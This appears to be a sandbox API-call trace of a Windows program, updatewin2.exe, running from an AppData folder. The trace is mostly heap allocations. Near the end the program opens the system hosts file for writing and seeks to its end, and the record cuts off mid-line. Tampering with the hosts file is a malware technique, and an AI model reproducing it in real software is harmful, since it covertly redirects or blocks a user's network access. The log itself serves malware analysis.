\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿÇÌ=\x95`õ\x18", lpUsedDefaultChar=0x0) returned 256 [0057.021] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x59a3e8 [0057.021] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x417ca8, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin2.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin2.exe")) returned 0x5f [0057.021] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xc8) returned 0x59c478 [0057.021] RtlInitializeSListHead (in: ListHead=0x417bc8 | out: ListHead=0x417bc8) [0057.021] GetLastError () returned 0x0 [0057.021] GetEnvironmentStringsW () returned 0x59c548* [0057.021] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xaca) returned 0x59d020 [0057.021] FreeEnvironmentStringsW (penv=0x59c548) returned 1 [0057.021] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x98) returned 0x59c548 [0057.021] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x3e) returned 0x59db10 [0057.021] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x6c) returned 0x59c5e8 [0057.021] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x6e) returned 0x59c660 [0057.021] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x78) returned 0x581180 [0057.021] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x62) returned 0x59c6d8 [0057.021] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x2e) returned 0x5852d0 [0057.021] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x48) returned 0x59c748 [0057.021] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x28) returned 0x59a470 [0057.021] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x1a) returned 0x59c028 [0057.021] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x4a) returned 0x59c798 [0057.021] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x72) returned 0x581200 [0057.021] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x30) returned 0x585308 [0057.021] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x2e) returned 0x585340 [0057.021] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x1c) returned 0x59c050 [0057.021] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xd2) returned 0x59c7f0 [0057.021] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x7c) returned 0x59c8d0 [0057.021] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x36) returned 0x59c958 [0057.021] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x3a) returned 0x59db58 [0057.021] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x90) returned 0x59c998 [0057.021] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x24) returned 0x59ca30 [0057.021] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x30) returned 0x585378 [0057.022] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x36) returned 0x59ca60 [0057.022] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x48) returned 0x59caa0 [0057.022] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x52) returned 0x59caf0 [0057.022] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x3c) returned 0x59dba0 [0057.022] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x82) returned 0x59cb50 [0057.022] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x2e) returned 0x5853b0 [0057.022] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x1e) returned 0x59c078 [0057.022] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x2c) returned 0x5853e8 [0057.022] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x54) returned 0x59cbe0 [0057.022] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x52) returned 0x59cc40 [0057.022] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x2a) returned 0x585420 [0057.022] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x3c) returned 0x59dbe8 [0057.022] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x54) returned 0x59cca0 [0057.022] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x24) returned 0x59cd00 [0057.022] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x30) returned 0x585458 [0057.022] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x8c) returned 0x59cd30 [0057.022] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d020 | out: hHeap=0x570000) returned 1 [0057.022] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x800) returned 0x59cdc8 [0057.023] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0057.023] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x402b17) returned 0x404e49 [0057.029] GetStartupInfoW (in: lpStartupInfo=0x18f590 | out: lpStartupInfo=0x18f590*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin2.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0057.030] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1423) returned 0x59eaf8 [0057.030] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1423) returned 0x59ff28 [0057.030] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x59c118 [0057.030] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18) returned 0x59d5d0 [0057.030] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x59c140 [0057.030] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x585490 [0057.030] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d5d0 | out: hHeap=0x570000) returned 1 [0057.030] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x59c168 [0057.030] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x48) returned 0x59d5d0 [0057.031] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x585490 | out: hHeap=0x570000) returned 1 [0057.031] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x59c190 [0057.031] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x59d620 [0057.031] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d5d0 | out: hHeap=0x570000) returned 1 [0057.031] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x59d688 [0057.031] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d620 | out: hHeap=0x570000) returned 1 [0057.031] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x59c1b8 [0057.031] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd8) returned 0x59d720 [0057.031] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d688 | out: hHeap=0x570000) returned 1 [0057.031] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x59c1e0 [0057.031] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x59c208 [0057.031] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x138) returned 0x59d5d0 [0057.031] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d720 | out: hHeap=0x570000) returned 1 [0057.031] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x59c230 [0057.031] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x59c258 [0057.031] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x59c280 [0057.031] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x59c2a8 [0057.031] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1c8) returned 0x59d710 [0057.031] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d5d0 | out: hHeap=0x570000) returned 1 [0057.031] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x59c2d0 [0057.031] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x59c2f8 [0057.031] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x59c320 [0057.031] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x59c348 [0057.031] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2a0) returned 0x5a1358 [0057.031] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d710 | out: hHeap=0x570000) returned 1 [0057.031] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x59c370 [0057.031] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x59c398 [0057.031] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x59c3c0 [0057.031] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x59c3e8 [0057.031] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x59c410 [0057.031] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x59c438 [0057.031] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a1618 [0057.031] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a1640 [0057.031] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x3f0) returned 0x59d5d0 [0057.031] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a1358 | out: hHeap=0x570000) returned 1 [0057.031] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a1668 [0057.031] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a1690 [0057.031] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a16b8 [0057.032] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a16e0 [0057.032] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a1708 [0057.032] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a1730 [0057.032] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a1758 [0057.032] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a1780 [0057.032] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a17a8 [0057.032] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x5e8) returned 0x5a1e00 [0057.032] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d5d0 | out: hHeap=0x570000) returned 1 [0057.032] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a17d0 [0057.032] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a17f8 [0057.032] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a1820 [0057.032] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a1848 [0057.032] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a1870 [0057.032] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a1898 [0057.032] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a18c0 [0057.032] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a18e8 [0057.032] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a1910 [0057.032] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a1938 [0057.032] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8d0) returned 0x5a23f0 [0057.032] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a1e00 | out: hHeap=0x570000) returned 1 [0057.032] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a1960 [0057.032] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a1988 [0057.032] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a19b0 [0057.032] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a19d8 [0057.032] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a1a00 [0057.032] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a1a28 [0057.032] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a1a50 [0057.032] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a1a78 [0057.032] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a1aa0 [0057.032] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a1ac8 [0057.032] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a1af0 [0057.032] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a1b18 [0057.032] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a1b40 [0057.032] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a1b68 [0057.032] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a1b90 [0057.032] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a1bb8 [0057.032] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd38) returned 0x5a2cc8 [0057.032] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a23f0 | out: hHeap=0x570000) returned 1 [0057.033] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a1be0 [0057.033] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a1c08 [0057.033] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a1c30 [0057.033] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a1c58 [0057.033] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a1c80 [0057.033] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a1ca8 [0057.033] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a1cd0 [0057.033] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a1cf8 [0057.033] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a1d20 [0057.033] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a1d48 [0057.033] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a1d70 [0057.033] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a1d98 [0057.033] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a1dc0 [0057.033] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a1e18 [0057.033] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a1e40 [0057.033] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a1e68 [0057.033] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a1e90 [0057.033] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a1eb8 [0057.033] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a1ee0 [0057.033] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a1f08 [0057.033] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a1f30 [0057.033] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a1f58 [0057.033] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a1f80 [0057.033] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a1fa8 [0057.033] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a1fd0 [0057.033] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a1ff8 [0057.033] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a2020 [0057.033] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a2048 [0057.033] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x13eb) returned 0x5a3a08 [0057.033] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a2cc8 | out: hHeap=0x570000) returned 1 [0057.033] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a2070 [0057.033] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a2098 [0057.033] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a20c0 [0057.033] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a20e8 [0057.033] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x585490 [0057.034] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a2110 [0057.034] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a2138 [0057.034] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a2160 [0057.034] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a2188 [0057.034] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a21b0 [0057.034] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a21d8 [0057.034] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a2200 [0057.034] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a2228 [0057.034] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a2250 [0057.034] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a2278 [0057.034] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a22a0 [0057.034] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a22c8 [0057.034] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a22f0 [0057.034] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a2318 [0057.034] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a2340 [0057.034] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a2368 [0057.034] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a2390 [0057.034] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a23b8 [0057.034] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a23e0 [0057.034] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a2408 [0057.034] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a2430 [0057.034] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a2458 [0057.034] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a2480 [0057.034] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a24a8 [0057.034] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a24d0 [0057.034] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a24f8 [0057.034] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a2520 [0057.034] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a2548 [0057.034] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a2570 [0057.034] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a2598 [0057.034] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a25c0 [0057.034] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a2618 [0057.034] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1dc3) returned 0x5a4e00 [0057.034] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a3a08 | out: hHeap=0x570000) returned 1 [0057.034] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a2640 [0057.035] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a2668 [0057.035] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a2690 [0057.035] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a26b8 [0057.035] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a26e0 [0057.035] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a2708 [0057.035] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a2730 [0057.035] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a2758 [0057.035] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a2780 [0057.035] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a27a8 [0057.035] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a27d0 [0057.035] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a27f8 [0057.035] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a2820 [0057.035] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a2848 [0057.035] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a2870 [0057.035] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a2898 [0057.035] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a28c0 [0057.035] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a28e8 [0057.035] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a2910 [0057.035] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a2938 [0057.035] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a2960 [0057.035] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a2988 [0057.035] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a29b0 [0057.035] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a29d8 [0057.035] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a2a00 [0057.035] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a2a28 [0057.035] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a2a50 [0057.035] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a2a78 [0057.035] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5a2aa0 [0057.035] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59ff28 | out: hHeap=0x570000) returned 1 [0057.035] SHGetFolderPathW (in: hwnd=0x0, csidl=36, hToken=0x0, dwFlags=0x0, pszPath=0x18edb0 | out: pszPath="C:\\Windows") returned 0x0 [0057.045] PathAppendW (in: pszPath="C:\\Windows", pMore="System32\\drivers\\etc\\hosts" | out: pszPath="C:\\Windows\\System32\\drivers\\etc\\hosts") returned 1 [0057.045] CreateFileW (lpFileName="C:\\Windows\\System32\\drivers\\etc\\hosts" (normalized: "c:\\windows\\system32\\drivers\\etc\\hosts"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa0 [0057.046] GetFileSize (in: hFile=0xa0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x338 [0057.046] SetFilePointer (in: hFile=0xa0, lDistanceToMove=824, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x338 [0057.046] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x585500 [0057.046] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x47) returned 0x5a0110 [0057.046] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x585500 | out: hHeap=0x570000) returned 1 [0057.046] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x6a) returned 0x5a0160 [0057.046] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a0110 | out: hHeap=0x570000) returned 1 [0057.046] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x9e) returned 0x5a01d8 [0057.046] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a0160 | out: hHeap=0x570000) returned 1 [0057.046] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xec) returned 0x5a0280 [0057.046] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a01d8 | out: hHeap=0x570000) returned 1 [0057.046] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x161) returned 0x5a0110 [0057.046] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a0280 | out: hHeap=0x570000) returned 1 [0057.046] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x211) returned 0x5a0280 [0057.046] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a0110 | 